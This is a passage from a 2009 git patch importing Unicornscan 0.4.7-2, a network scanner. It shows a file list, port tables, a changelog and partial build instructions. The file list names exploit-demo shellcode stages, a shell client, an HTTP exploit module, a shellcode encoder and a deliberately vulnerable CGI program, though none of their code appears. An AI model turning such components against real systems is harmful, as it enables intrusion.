From 22c9922226e871bca13533a20ae90331d33e2732 Mon Sep 17 00:00:00 2001 From: erwinpdev Date: Sat, 23 May 2009 22:26:26 +0000 Subject: [PATCH] Initial import of version 0.4.7-2 --- AUTHORS | 1 + BAD_DYNAMIC | 2 + CHANGELOG | 4 + INSTALL | 177 + INSTALL.www-front-end | 1 + LICENSE | 343 + Makefile.in | 44 + Makefile.inc.in | 50 + README | 28 + README.cant_load_modules | 1 + README.darwin | 15 + README.database | 31 + README.geoip | 2 + README.osx | 15 + README.security | 46 + THANKS | 3 + TODO | 45 + UDP_PAYLOADS_NEEDED | 5 + aclocal.m4 | 7397 ++++ autostuff/config.guess | 1471 + autostuff/config.sub | 1599 + autostuff/install-sh | 325 + autostuff/ltmain.sh | 6863 ++++ configure | 28177 ++++++++++++++++ configure.ac | 446 + contrib/trie/Makefile | 24 + contrib/trie/dict | 16 + contrib/trie/run.sh | 7 + contrib/trie/trie.c | 257 + contrib/trie/trie.h | 23 + docs/Makefile.in | 25 + docs/Unicornscan-Getting_Started.pdf | Bin 0 -> 159288 bytes docs/fantaip_man.tex | 0 docs/latex2man.tgz | Bin 0 -> 235520 bytes docs/latex2man/CHANGES | 99 + docs/latex2man/INSTALL | 49 + docs/latex2man/README | 34 + docs/latex2man/THIS-IS-VERSION-1.19 | 1 + docs/latex2man/latex2man | 1789 + docs/latex2man/latex2man.1 | 1057 + docs/latex2man/latex2man.cfg | 12 + docs/latex2man/latex2man.html | 1146 + docs/latex2man/latex2man.info | 926 + docs/latex2man/latex2man.pdf | Bin 0 -> 208022 bytes docs/latex2man/latex2man.ps | Bin 0 -> 355977 bytes docs/latex2man/latex2man.sty | 177 + docs/latex2man/latex2man.tex | 748 + docs/latex2man/latex2man.texi | 991 + docs/latex2man/latex2man.trans | 67 + docs/latex2man/latex2man.txt | 750 + docs/random_stuff/CODE_TODO | 25 + docs/random_stuff/NOTE_TO_SELF | 13 + docs/rfcs/draft-ietf-tcpm-ecnsyn-00.txt.gz | Bin 0 -> 11937 bytes docs/rfcs/icmp-parameters.gz | Bin 0 -> 2157 bytes docs/rfcs/rfc1071.txt.gz | Bin 0 -> 16769 bytes docs/rfcs/rfc1108.txt.gz | Bin 0 -> 11084 bytes docs/rfcs/rfc1122.txt.gz | Bin 0 -> 73413 bytes docs/rfcs/rfc2401.txt.gz | Bin 0 -> 47043 bytes docs/rfcs/rfc2481.txt.gz | Bin 0 -> 19612 bytes docs/rfcs/rfc3168.txt.gz | Bin 0 -> 47681 bytes docs/unibrow_man.tex | 0 docs/unicfgtst_man.tex | 0 docs/unicornconf_man.tex | 0 docs/unicornscan.1 | 243 + docs/unicornscan.pdf | Bin 0 -> 16148 bytes docs/unicornscan.tex | 12 + docs/unicornscan_man.tex | 207 + docs/unicycle_man.tex | 0 docs/vars.tex | 2 + etc/Makefile.in | 25 + etc/modules.conf | 28 + etc/oui.txt | 7487 ++++ etc/payloads.conf | 467 + etc/ports.txt | 8462 +++++ etc/protocol-numbers | 511 + etc/unicorn.conf.in | 91 + ext_src/Makefile.in | 24 + ext_src/copyright | 34 + ext_src/credits.txt | 73 + ext_src/demo.c | 65 + ext_src/patricia.c | 1042 + ext_src/patricia.h | 149 + libs/Makefile.in | 32 + libs/libdnet-1.10.tar.gz | Bin 0 -> 419752 bytes libs/libdnet-no-test-python.patch | 24 + libs/libltdl.tar.gz | Bin 0 -> 339741 bytes libs/libpcap-0.9.4.tar.gz | Bin 0 -> 425887 bytes libs/mkinstalldirs | 40 + libtool | 7801 +++++ m4/ax_c___attribute__.m4 | 30 + m4/libtool.m4 | 5987 ++++ m4/pcap.m4 | 1207 + m4/unim4.m4 | 173 + scripts/_auto.sh | 5 + scripts/mksamhainpkg | 62 + scripts/mkslackpkg | 62 + scripts/tarup.sh | 54 + selinux/Makefile.in | 21 + selinux/README | 0 selinux/install | 8 + selinux/unicornscan.fc.in | 11 + selinux/unicornscan.te | 21 + selinux/unicornscan_macros.te | 306 + src/FMTCAT_ARGS | 14 + src/Makefile.in | 59 + src/chld.c | 178 + src/chld.h | 33 + src/compiledby.sh | 15 + src/config.h.in | 349 + src/drone_setup.c | 257 + src/drone_setup.h | 25 + src/getconfig.c | 517 + src/getconfig.h | 32 + src/globalheaders.h | 19 + src/main.c | 261 + src/main.h | 6 + src/output_modules/Makefile.in | 28 + src/output_modules/database/Makefile.in | 44 + .../database/attic/mysql_schema.sql | 83 + src/output_modules/database/attic/mysqldb.c | 382 + src/output_modules/database/attic/pg_proc.sql | 54 + .../database/attic/pgsql_schema.sql | 85 + .../database/attic/template.sql | 34 + src/output_modules/database/pgsqldb.c | 774 + .../database/sql/pgsql_schema.sql | 207 + src/packageinfo.h.in | 35 + src/parse/Makefile.in | 32 + src/parse/example_confs/cruel.conf | 34 + src/parse/example_confs/dangerous.conf | 19 + src/parse/example_confs/example.conf | 38 + src/parse/example_confs/moduletest.conf | 14 + src/parse/example_confs/payloads.conf | 3 + src/parse/example_confs/payloadtest.conf | 29 + src/parse/example_confs/safe.conf | 16 + src/parse/parse.h | 24 + src/parse/parse.l | 194 + src/parse/parse.y | 282 + src/parse/putil.c | 198 + src/parse/putil.h | 39 + src/payload_modules/Makefile.in | 40 + .../defcon_demo/stage1/makefile | 13 + .../defcon_demo/stage1/mkbin.sh | 5 + .../defcon_demo/stage1/payload-linux26.S | 295 + .../defcon_demo/stage1/payload-netbsd.S | 265 + .../defcon_demo/stage2/makefile | 22 + .../defcon_demo/stage2/payload_src/README | 3 + .../defcon_demo/stage2/payload_src/ld-script | 170 + .../defcon_demo/stage2/payload_src/makefile | 25 + .../defcon_demo/stage2/payload_src/mkhdr.sh | 26 + .../defcon_demo/stage2/payload_src/mksc.sh | 13 + .../defcon_demo/stage2/payload_src/payload.c | 169 + .../stage2/payload_src/shellcode.h | 7 + .../defcon_demo/stage2/payload_src/t | Bin 0 -> 8111 bytes .../defcon_demo/stage2/payload_src/t.c | 9 + .../defcon_demo/stage2/payload_src/tMakefile | 24 + .../defcon_demo/stage2/payload_src/tetris | Bin 0 -> 3024 bytes .../defcon_demo/stage2/payload_src/tetris.s | 775 + .../stage2/payload_src/tetrisnew.s | 775 + .../defcon_demo/stage2/sc_server.c | 193 + .../defcon_demo/stage2/shclient.c | 166 + .../defcon_demo/stage2/vuln/overflow.cgi.c | 81 + src/payload_modules/http.c | 81 + src/payload_modules/httpexp.c | 211 + src/payload_modules/libunirainbow/Makefile.in | 23 + src/payload_modules/libunirainbow/TODO | 8 + src/payload_modules/libunirainbow/common.c | 92 + src/payload_modules/libunirainbow/fstwrtr.c | 69 + .../libunirainbow/libunirainbow.h | 103 + .../libunirainbow/utils/payload.h | 60 + .../libunirainbow/utils/shclient.c | 154 + src/payload_modules/libunirainbow/x86_alpha.c | 9 + .../libunirainbow/x86_jmpsled.c | 55 + src/payload_modules/libunirainbow/x86_nops.c | 115 + src/payload_modules/libunirainbow/x86_xor.c | 635 + src/payload_modules/ntalk.c | 104 + src/payload_modules/rdns.c | 138 + src/payload_modules/sip.c | 86 + src/payload_modules/upnp.c | 76 + src/report_modules/Makefile.in | 28 + src/report_modules/osdetect/Makefile.in | 30 + src/report_modules/osdetect/README | 2 + src/report_modules/osdetect/dodetect.c | 660 + src/report_modules/osdetect/dodetect.h | 26 + src/report_modules/osdetect/module.c | 190 + src/report_modules/osdetect/module.h | 94 + src/scan_progs/Makefile.in | 56 + src/scan_progs/chksum.c | 86 + src/scan_progs/chksum.h | 40 + src/scan_progs/connect.c | 996 + src/scan_progs/connect.h | 35 + src/scan_progs/entry.c | 268 + src/scan_progs/entry.h | 24 + src/scan_progs/init_packet.c | 350 + src/scan_progs/init_packet.h | 25 + src/scan_progs/makepkt.c | 270 + src/scan_progs/makepkt.h | 72 + src/scan_progs/master.c | 714 + src/scan_progs/master.h | 28 + src/scan_progs/options.c | 1011 + src/scan_progs/options.h | 76 + src/scan_progs/packet_parse.c | 966 + src/scan_progs/packet_parse.h | 29 + src/scan_progs/packet_slice.c | 471 + src/scan_progs/packet_slice.h | 51 + src/scan_progs/packets.h | 189 + src/scan_progs/payload.c | 233 + src/scan_progs/payload.h | 6 + src/scan_progs/portfunc.c | 347 + src/scan_progs/portfunc.h | 30 + src/scan_progs/recv_packet.c | 604 + src/scan_progs/recv_packet.h | 24 + src/scan_progs/report.c | 896 + src/scan_progs/report.h | 27 + src/scan_progs/scan_export.h | 189 + src/scan_progs/scanopts.c | 426 + src/scan_progs/scanopts.h | 71 + src/scan_progs/send_packet.c | 1186 + src/scan_progs/send_packet.h | 24 + src/scan_progs/tcphash.h | 41 + src/scan_progs/tests/Makefile.in | 20 + src/scan_progs/tests/common.c | 62 + src/scan_progs/tests/common.h | 25 + src/scan_progs/tests/pkt1.xxd | 6 + src/scan_progs/tests/pkt2.xxd | 95 + src/scan_progs/tests/pkt3.xxd | 4 + src/scan_progs/tests/testp1.c | 96 + src/scan_progs/tests/tests1.c | 73 + src/scan_progs/workunits.c | 971 + src/scan_progs/workunits.h | 147 + src/settings.h | 318 + src/test_scripts/localarp.sh | 3 + src/test_scripts/multi_scan.sh | 3 + src/test_scripts/traceroute_fmtcat.sh | 5 + src/tools/Makefile.in | 46 + src/tools/attic/unicycle.c | 241 + src/tools/fantaip.c | 532 + src/tools/fpdb.c | 251 + src/tools/p0f/COPYING | 498 + src/tools/p0f/CREDITS | 50 + src/tools/p0f/Makefile.in | 15 + src/tools/p0f/ORIGINAL-p0f-TARBALL.tgz | Bin 0 -> 119407 bytes src/tools/p0f/README | 9 + src/tools/p0f/fpentry.h | 61 + src/tools/p0f/mtu.h | 65 + src/tools/p0f/p0f-config.h | 102 + src/tools/p0f/p0f.c | 1070 + src/tools/p0f/p0f.fp | 797 + src/tools/p0f/p0fa.fp | 167 + src/tools/p0f/p0fexport.h | 15 + src/tools/p0f/p0fr.fp | 193 + src/tools/p0f/tcp.h | 67 + src/tools/p0f/tos.h | 67 + src/tools/unibrow.c | 346 + src/tools/unicfgtst.c | 116 + src/unilib/Makefile.in | 35 + src/unilib/_xdebug.c | 544 + src/unilib/_xdebug.h | 46 + src/unilib/_xmalloc.c | 68 + src/unilib/_xmalloc.h | 32 + src/unilib/arch.c | 249 + src/unilib/arch.h | 26 + src/unilib/bsd-route.c | 262 + src/unilib/chtbl.c | 344 + src/unilib/chtbl.h | 37 + src/unilib/cidr.c | 684 + src/unilib/cidr.h | 61 + src/unilib/drone.c | 374 + src/unilib/drone.h | 123 + src/unilib/gtod.c | 75 + src/unilib/intf.c | 111 + src/unilib/intf.h | 24 + src/unilib/modules.c | 575 + src/unilib/modules.h | 115 + src/unilib/mt19937ar.c | 231 + src/unilib/output.c | 89 + src/unilib/output.h | 93 + src/unilib/panic.c | 140 + src/unilib/panic.h | 28 + src/unilib/pcaputil.c | 83 + src/unilib/pcaputil.h | 25 + src/unilib/pktutil.c | 151 + src/unilib/pktutil.h | 29 + src/unilib/prng.h | 10 + src/unilib/qfifo.c | 392 + src/unilib/qfifo.h | 36 + src/unilib/rbtree.c | 776 + src/unilib/rbtree.h | 44 + src/unilib/route.c | 205 + src/unilib/route.h | 24 + src/unilib/settings.c | 77 + src/unilib/sleep.c | 77 + src/unilib/socktrans.c | 368 + src/unilib/socktrans.h | 36 + src/unilib/standard_dns.c | 420 + src/unilib/standard_dns.h | 78 + src/unilib/terminate.c | 61 + src/unilib/terminate.h | 31 + src/unilib/tsc.c | 190 + src/unilib/xdelay.c | 145 + src/unilib/xdelay.h | 36 + src/unilib/xipc.c | 407 + src/unilib/xipc.h | 58 + src/unilib/xipc_private.h | 38 + src/unilib/xpoll.c | 79 + src/unilib/xpoll.h | 33 + src/usignals.c | 99 + src/usignals.h | 34 + src/vip.c | 45 + src/vip.h | 28 + tstamp | 1 + www-front-end/TODO | 1 + www-front-end/attic/cidr.php | 39 + www-front-end/config.php | 32 + www-front-end/css/style.css | 124 + www-front-end/display.php | 1205 + www-front-end/header.php | 20 + www-front-end/index.php | 167 + www-front-end/lib/.htaccess | 0 www-front-end/lib/connect_todb.php | 42 + www-front-end/lib/formclass2.php | 933 + www-front-end/lib/pgsqldbclass.php | 135 + www-front-end/lib/session.sql | 15 + www-front-end/lib/session_handler.php | 236 + www-front-end/lib/tableclass.php | 183 + www-front-end/lib/trange.php | 61 + www-front-end/lib/unidata.php | 100 + www-front-end/lib/unimisc.php | 585 + www-front-end/menu.php | 20 + www-front-end/trailer.php | 9 + 329 files changed, 129417 insertions(+) create mode 100644 AUTHORS create mode 100644 BAD_DYNAMIC create mode 100644 CHANGELOG create mode 100644 INSTALL create mode 100644 INSTALL.www-front-end create mode 100644 LICENSE create mode 100644 Makefile.in create mode 100644 Makefile.inc.in create mode 100644 README create mode 100644 README.cant_load_modules create mode 100644 README.darwin create mode 100644 README.database create mode 100644 README.geoip create mode 100644 README.osx create mode 100644 README.security create mode 100644 THANKS create mode 100644 TODO create mode 100644 UDP_PAYLOADS_NEEDED create mode 100644 aclocal.m4 create mode 100755 autostuff/config.guess create mode 100755 autostuff/config.sub create mode 100755 autostuff/install-sh create mode 100644 autostuff/ltmain.sh create mode 100755 configure create mode 100644 configure.ac create mode 100644 contrib/trie/Makefile create mode 100644 contrib/trie/dict create mode 100755 contrib/trie/run.sh create mode 100644 contrib/trie/trie.c create mode 100644 contrib/trie/trie.h create mode 100644 docs/Makefile.in create mode 100644 docs/Unicornscan-Getting_Started.pdf create mode 100644 docs/fantaip_man.tex create mode 100644 docs/latex2man.tgz create mode 100644 docs/latex2man/CHANGES create mode 100644 docs/latex2man/INSTALL create mode 100644 docs/latex2man/README create mode 100644 docs/latex2man/THIS-IS-VERSION-1.19 create mode 100755 docs/latex2man/latex2man create mode 100644 docs/latex2man/latex2man.1 create mode 100644 docs/latex2man/latex2man.cfg create mode 100644 docs/latex2man/latex2man.html create mode 100644 docs/latex2man/latex2man.info create mode 100644 docs/latex2man/latex2man.pdf create mode 100644 docs/latex2man/latex2man.ps create mode 100644 docs/latex2man/latex2man.sty create mode 100644 docs/latex2man/latex2man.tex create mode 100644 docs/latex2man/latex2man.texi create mode 100644 docs/latex2man/latex2man.trans create mode 100644 docs/latex2man/latex2man.txt create mode 100644 docs/random_stuff/CODE_TODO create mode 100644 docs/random_stuff/NOTE_TO_SELF create mode 100644 docs/rfcs/draft-ietf-tcpm-ecnsyn-00.txt.gz create mode 100644 docs/rfcs/icmp-parameters.gz create mode 100644 docs/rfcs/rfc1071.txt.gz create mode 100644 docs/rfcs/rfc1108.txt.gz create mode 100644 docs/rfcs/rfc1122.txt.gz create mode 100644 docs/rfcs/rfc2401.txt.gz create mode 100644 docs/rfcs/rfc2481.txt.gz create mode 100644 docs/rfcs/rfc3168.txt.gz create mode 100644 docs/unibrow_man.tex create mode 100644 docs/unicfgtst_man.tex create mode 100644 docs/unicornconf_man.tex create mode 100644 docs/unicornscan.1 create mode 100644 docs/unicornscan.pdf create mode 100644 docs/unicornscan.tex create mode 100644 docs/unicornscan_man.tex create mode 100644 docs/unicycle_man.tex create mode 100644 docs/vars.tex create mode 100644 etc/Makefile.in create mode 100644 etc/modules.conf create mode 100644 etc/oui.txt create mode 100644 etc/payloads.conf create mode 100644 etc/ports.txt create mode 100644 etc/protocol-numbers create mode 100644 etc/unicorn.conf.in create mode 100644 ext_src/Makefile.in create mode 100644 ext_src/copyright create mode 100644 ext_src/credits.txt create mode 100644 ext_src/demo.c create mode 100644 ext_src/patricia.c create mode 100644 ext_src/patricia.h create mode 100644 libs/Makefile.in create mode 100644 libs/libdnet-1.10.tar.gz create mode 100644 libs/libdnet-no-test-python.patch create mode 100644 libs/libltdl.tar.gz create mode 100644 libs/libpcap-0.9.4.tar.gz create mode 100755 libs/mkinstalldirs create mode 100755 libtool create mode 100644 m4/ax_c___attribute__.m4 create mode 100644 m4/libtool.m4 create mode 100644 m4/pcap.m4 create mode 100644 m4/unim4.m4 create mode 100755 scripts/_auto.sh create mode 100755 scripts/mksamhainpkg create mode 100755 scripts/mkslackpkg create mode 100755 scripts/tarup.sh create mode 100644 selinux/Makefile.in create mode 100644 selinux/README create mode 100755 selinux/install create mode 100644 selinux/unicornscan.fc.in create mode 100644 selinux/unicornscan.te create mode 100644 selinux/unicornscan_macros.te create mode 100644 src/FMTCAT_ARGS create mode 100644 src/Makefile.in create mode 100644 src/chld.c create mode 100644 src/chld.h create mode 100755 src/compiledby.sh create mode 100644 src/config.h.in create mode 100644 src/drone_setup.c create mode 100644 src/drone_setup.h create mode 100644 src/getconfig.c create mode 100644 src/getconfig.h create mode 100644 src/globalheaders.h create mode 100644 src/main.c create mode 100644 src/main.h create mode 100644 src/output_modules/Makefile.in create mode 100644 src/output_modules/database/Makefile.in create mode 100644 src/output_modules/database/attic/mysql_schema.sql create mode 100644 src/output_modules/database/attic/mysqldb.c create mode 100644 src/output_modules/database/attic/pg_proc.sql create mode 100644 src/output_modules/database/attic/pgsql_schema.sql create mode 100644 src/output_modules/database/attic/template.sql create mode 100644 src/output_modules/database/pgsqldb.c create mode 100644 src/output_modules/database/sql/pgsql_schema.sql create mode 100644 src/packageinfo.h.in create mode 100644 src/parse/Makefile.in create mode 100644 src/parse/example_confs/cruel.conf create mode 100644 src/parse/example_confs/dangerous.conf create mode 100644 src/parse/example_confs/example.conf create mode 100644 src/parse/example_confs/moduletest.conf create mode 100644 src/parse/example_confs/payloads.conf create mode 100644 src/parse/example_confs/payloadtest.conf create mode 100644 src/parse/example_confs/safe.conf create mode 100644 src/parse/parse.h create mode 100644 src/parse/parse.l create mode 100644 src/parse/parse.y create mode 100644 src/parse/putil.c create mode 100644 src/parse/putil.h create mode 100644 src/payload_modules/Makefile.in create mode 100644 src/payload_modules/defcon_demo/stage1/makefile create mode 100755 src/payload_modules/defcon_demo/stage1/mkbin.sh create mode 100644 src/payload_modules/defcon_demo/stage1/payload-linux26.S create mode 100644 src/payload_modules/defcon_demo/stage1/payload-netbsd.S create mode 100644 src/payload_modules/defcon_demo/stage2/makefile create mode 100644 src/payload_modules/defcon_demo/stage2/payload_src/README create mode 100644 src/payload_modules/defcon_demo/stage2/payload_src/ld-script create mode 100644 src/payload_modules/defcon_demo/stage2/payload_src/makefile create mode 100755 src/payload_modules/defcon_demo/stage2/payload_src/mkhdr.sh create mode 100755 src/payload_modules/defcon_demo/stage2/payload_src/mksc.sh create mode 100644 src/payload_modules/defcon_demo/stage2/payload_src/payload.c create mode 100644 src/payload_modules/defcon_demo/stage2/payload_src/shellcode.h create mode 100755 src/payload_modules/defcon_demo/stage2/payload_src/t create mode 100644 src/payload_modules/defcon_demo/stage2/payload_src/t.c create mode 100644 src/payload_modules/defcon_demo/stage2/payload_src/tMakefile create mode 100755 src/payload_modules/defcon_demo/stage2/payload_src/tetris create mode 100644 src/payload_modules/defcon_demo/stage2/payload_src/tetris.s create mode 100644 src/payload_modules/defcon_demo/stage2/payload_src/tetrisnew.s create mode 100644 src/payload_modules/defcon_demo/stage2/sc_server.c create mode 100644 src/payload_modules/defcon_demo/stage2/shclient.c create mode 100644 src/payload_modules/defcon_demo/stage2/vuln/overflow.cgi.c create mode 100644 src/payload_modules/http.c create mode 100644 src/payload_modules/httpexp.c create mode 100644 src/payload_modules/libunirainbow/Makefile.in create mode 100644 src/payload_modules/libunirainbow/TODO create mode 100644 src/payload_modules/libunirainbow/common.c create mode 100644 src/payload_modules/libunirainbow/fstwrtr.c create mode 100644 src/payload_modules/libunirainbow/libunirainbow.h create mode 100644 src/payload_modules/libunirainbow/utils/payload.h create mode 100644 src/payload_modules/libunirainbow/utils/shclient.c create mode 100644 src/payload_modules/libunirainbow/x86_alpha.c create mode 100644 src/payload_modules/libunirainbow/x86_jmpsled.c create mode 100644 src/payload_modules/libunirainbow/x86_nops.c create mode 100644 src/payload_modules/libunirainbow/x86_xor.c create mode 100644 src/payload_modules/ntalk.c create mode 100644 src/payload_modules/rdns.c create mode 100644 src/payload_modules/sip.c create mode 100644 src/payload_modules/upnp.c create mode 100644 src/report_modules/Makefile.in create mode 100644 src/report_modules/osdetect/Makefile.in create mode 100644 src/report_modules/osdetect/README create mode 100644 src/report_modules/osdetect/dodetect.c create mode 100644 src/report_modules/osdetect/dodetect.h create mode 100644 src/report_modules/osdetect/module.c create mode 100644 src/report_modules/osdetect/module.h create mode 100644 src/scan_progs/Makefile.in create mode 100644 src/scan_progs/chksum.c create mode 100644 src/scan_progs/chksum.h create mode 100644 src/scan_progs/connect.c create mode 100644 src/scan_progs/connect.h create mode 100644 src/scan_progs/entry.c create mode 100644 src/scan_progs/entry.h create mode 100644 src/scan_progs/init_packet.c create mode 100644 src/scan_progs/init_packet.h create mode 100644 src/scan_progs/makepkt.c create mode 100644 src/scan_progs/makepkt.h create mode 100644 src/scan_progs/master.c create mode 100644 src/scan_progs/master.h create mode 100644 src/scan_progs/options.c create mode 100644 src/scan_progs/options.h create mode 100644 src/scan_progs/packet_parse.c create mode 100644 src/scan_progs/packet_parse.h create mode 100644 src/scan_progs/packet_slice.c create mode 100644 src/scan_progs/packet_slice.h create mode 100644 src/scan_progs/packets.h create mode 100644 src/scan_progs/payload.c create mode 100644 src/scan_progs/payload.h create mode 100644 src/scan_progs/portfunc.c create mode 100644 src/scan_progs/portfunc.h create mode 100644 src/scan_progs/recv_packet.c create mode 100644 src/scan_progs/recv_packet.h create mode 100644 src/scan_progs/report.c create mode 100644 src/scan_progs/report.h create mode 100644 src/scan_progs/scan_export.h create mode 100644 src/scan_progs/scanopts.c create mode 100644 src/scan_progs/scanopts.h create mode 100644 src/scan_progs/send_packet.c create mode 100644 src/scan_progs/send_packet.h create mode 100644 src/scan_progs/tcphash.h create mode 100644 src/scan_progs/tests/Makefile.in create mode 100644 src/scan_progs/tests/common.c create mode 100644 src/scan_progs/tests/common.h create mode 100644 src/scan_progs/tests/pkt1.xxd create mode 100644 src/scan_progs/tests/pkt2.xxd create mode 100644 src/scan_progs/tests/pkt3.xxd create mode 100644 src/scan_progs/tests/testp1.c create mode 100644 src/scan_progs/tests/tests1.c create mode 100644 src/scan_progs/workunits.c create mode 100644 src/scan_progs/workunits.h create mode 100644 src/settings.h create mode 100755 src/test_scripts/localarp.sh create mode 100755 src/test_scripts/multi_scan.sh create mode 100755 src/test_scripts/traceroute_fmtcat.sh create mode 100644 src/tools/Makefile.in create mode 100644 src/tools/attic/unicycle.c create mode 100644 src/tools/fantaip.c create mode 100644 src/tools/fpdb.c create mode 100644 src/tools/p0f/COPYING create mode 100644 src/tools/p0f/CREDITS create mode 100644 src/tools/p0f/Makefile.in create mode 100644 src/tools/p0f/ORIGINAL-p0f-TARBALL.tgz create mode 100644 src/tools/p0f/README create mode 100644 src/tools/p0f/fpentry.h create mode 100644 src/tools/p0f/mtu.h create mode 100644 src/tools/p0f/p0f-config.h create mode 100644 src/tools/p0f/p0f.c create mode 100644 src/tools/p0f/p0f.fp create mode 100644 src/tools/p0f/p0fa.fp create mode 100644 src/tools/p0f/p0fexport.h create mode 100644 src/tools/p0f/p0fr.fp create mode 100644 src/tools/p0f/tcp.h create mode 100644 src/tools/p0f/tos.h create mode 100644 src/tools/unibrow.c create mode 100644 src/tools/unicfgtst.c create mode 100644 src/unilib/Makefile.in create mode 100644 src/unilib/_xdebug.c create mode 100644 src/unilib/_xdebug.h create mode 100644 src/unilib/_xmalloc.c create mode 100644 src/unilib/_xmalloc.h create mode 100644 src/unilib/arch.c create mode 100644 src/unilib/arch.h create mode 100644 src/unilib/bsd-route.c create mode 100644 src/unilib/chtbl.c create mode 100644 src/unilib/chtbl.h create mode 100644 src/unilib/cidr.c create mode 100644 src/unilib/cidr.h create mode 100644 src/unilib/drone.c create mode 100644 src/unilib/drone.h create mode 100644 src/unilib/gtod.c create mode 100644 src/unilib/intf.c create mode 100644 src/unilib/intf.h create mode 100644 src/unilib/modules.c create mode 100644 src/unilib/modules.h create mode 100644 src/unilib/mt19937ar.c create mode 100644 src/unilib/output.c create mode 100644 src/unilib/output.h create mode 100644 src/unilib/panic.c create mode 100644 src/unilib/panic.h create mode 100644 src/unilib/pcaputil.c create mode 100644 src/unilib/pcaputil.h create mode 100644 src/unilib/pktutil.c create mode 100644 src/unilib/pktutil.h create mode 100644 src/unilib/prng.h create mode 100644 src/unilib/qfifo.c create mode 100644 src/unilib/qfifo.h create mode 100644 src/unilib/rbtree.c create mode 100644 src/unilib/rbtree.h create mode 100644 src/unilib/route.c create mode 100644 src/unilib/route.h create mode 100644 src/unilib/settings.c create mode 100644 src/unilib/sleep.c create mode 100644 src/unilib/socktrans.c create mode 100644 src/unilib/socktrans.h create mode 100644 src/unilib/standard_dns.c create mode 100644 src/unilib/standard_dns.h create mode 100644 src/unilib/terminate.c create mode 100644 src/unilib/terminate.h create mode 100644 src/unilib/tsc.c create mode 100644 src/unilib/xdelay.c create mode 100644 src/unilib/xdelay.h create mode 100644 src/unilib/xipc.c create mode 100644 src/unilib/xipc.h create mode 100644 src/unilib/xipc_private.h create mode 100644 src/unilib/xpoll.c create mode 100644 src/unilib/xpoll.h create mode 100644 src/usignals.c create mode 100644 src/usignals.h create mode 100644 src/vip.c create mode 100644 src/vip.h create mode 100644 tstamp create mode 100644 www-front-end/TODO create mode 100644 www-front-end/attic/cidr.php create mode 100644 www-front-end/config.php create mode 100644 www-front-end/css/style.css create mode 100644 www-front-end/display.php create mode 100644 www-front-end/header.php create mode 100644 www-front-end/index.php create mode 100644 www-front-end/lib/.htaccess create mode 100644 www-front-end/lib/connect_todb.php create mode 100644 www-front-end/lib/formclass2.php create mode 100644 www-front-end/lib/pgsqldbclass.php create mode 100644 www-front-end/lib/session.sql create mode 100644 www-front-end/lib/session_handler.php create mode 100644 www-front-end/lib/tableclass.php create mode 100644 www-front-end/lib/trange.php create mode 100644 www-front-end/lib/unidata.php create mode 100644 www-front-end/lib/unimisc.php create mode 100644 www-front-end/menu.php create mode 100644 www-front-end/trailer.php diff --git a/AUTHORS b/AUTHORS new file mode 100644 index 0000000..01685c4 --- /dev/null +++ b/AUTHORS @@ -0,0 +1 @@ +Jack C. Louis diff --git a/BAD_DYNAMIC b/BAD_DYNAMIC new file mode 100644 index 0000000..9db3698 --- /dev/null +++ b/BAD_DYNAMIC @@ -0,0 +1,2 @@ +#define DEFBADDYNAMICPORTS_TCP { 587, 749, 750, 751, 760, 761, 871, 0 } +#define DEFBADDYNAMICPORTS_UDP { 623, 750, 751, 0 } diff --git a/CHANGELOG b/CHANGELOG new file mode 100644 index 0000000..6e513c5 --- /dev/null +++ b/CHANGELOG @@ -0,0 +1,4 @@ +Thu Dec 20 15:37:29 CET 2007: +* Updated the build system to properly build the postgres output module. +* Added the unicornscan -> us symlink. +* Updated the Unicornscan-Getting_Started.pdf documentation. diff --git a/INSTALL b/INSTALL new file mode 100644 index 0000000..93acdce --- /dev/null +++ b/INSTALL @@ -0,0 +1,177 @@ +Installing Unicornscan + +1.1 Introduction +Unicornscan can be installed from a package for your distribution. This +guide is intended for those wishing to manually compile unicornscan for +their specific needs. Use the table of contents to skip directly sections +that seem relevant to you. This guide describes how to install unicornscan +on most POSIX platforms. + +1.1.1 + +Requirements + +Unicornscan is in constant development. We do our best to provide stable +releases, but the code relies on specific libraries to be installed +properly on the system. Many of the required libraries are included in the +Unicornscan tar ball for convienience. However, if the configure script +finds an older copy of the same library already installed on your system, +it assumes that you intended it to use your previously installed version. +This is especially frustrating with libraries such as libpcap. +Specifically, we are currently using the following libraries: +* libpq (for storing results, required for front-end - comes with PostgreSQL) +* libdnet-1.11 +* libltdl-1.5.24 +* libpcap-0.9.8 + +1.2 Installing the Prerequisites +Though we do try to bundle many of the prerequisite libraries with the tar +ball, if you wish to install them system wide, follow the instructions +below. + +1.2.1 + +PostgreSQL + +A very thorough documentation on installing and compiling PostgreSQL is +available at: +http://www.postgresql.org/docs/8.2/interactive/installation.html + +The quick installation is as follows: +1. Ensure that your OS/Distribution does not have an older version already +installed. If it does, uninstall it. + +2. Download the source: +$ wget ftp://ftp.postgresql.org/pub/source/v8.2.5/postgresql-8.2.5.tar.gz + +3. Uncompress, change directories, configure, make: +$ tar zxvf postgresql-8.2.5.tar.gz; cd postgresql-8.2.5; ./configure; make + +4. As a priveldeged user, make install: +# make install + +5. Add a postgres user to the system: +# adduser postgres + +6. Create a directory to store the databases and change ownership to the +postgres user: +# mkdir /usr/local/pgsql/data; chown postgres /usr/local/pgsql/data + +7. Become the postgres user: +# su - postgres + +8. As the postgres user, initialize the database and start the database service: +$ /usr/local/pgsql/bin/initdb -D /usr/local/pgsql/data +$ /usr/local/pgsql/bin/postmaster -D /usr/local/pgsql/data >logfile 2>&1 & + +9. Create a test database and connect to it to verify it is functioning +properly: +$ /usr/local/pgsql/bin/createdb test +$ /usr/local/pgsql/bin/psql test + +Once PostgreSQL is installed, don’t worry about configuring additional +users, databases, tables, etc. That will be documented later in the 1.6 +(Getting the Front-End Working) section. + +1.2.2 + +libdnet + +1. Ensure that your OS/Distribution does not have an older version already +installed. If it does, uninstall it. + +2. Download the source: +$ wget http://easynews.dl.sourceforge.net/sourceforge/libdnet/libdnet-1.11.tar.gz + +3. Uncompress, change directories, configure, make +$ tar zxvf libdnet-1.11.tar.gz; cd libdnet-1.11; ./configure; make + +4. As a priveldeged user, make install: +# make install + +1.2.3 + +libpcap + +1. Ensure that your OS/Distribution does not have an older version already +installed. If it does, uninstall it. + +2. Download the source: +$ wget http://www.tcpdump.org/release/libpcap-0.9.8.tar.gz + +3. Uncompress, change directories, configure, make +$ tar zxvf libpcap-0.9.8.tar.gz; cd libpcap-0.9.8; ./configure; make + +4. As a priveldeged user, make install: +# make install + +1.3 Installing Unicornscan +1.3.1 Command-line and Front-End + +Unicornscan can be used solely from the command-line, but this guide will +also detail how to use it with a PostgreSQL powered Front-End to get the +most out 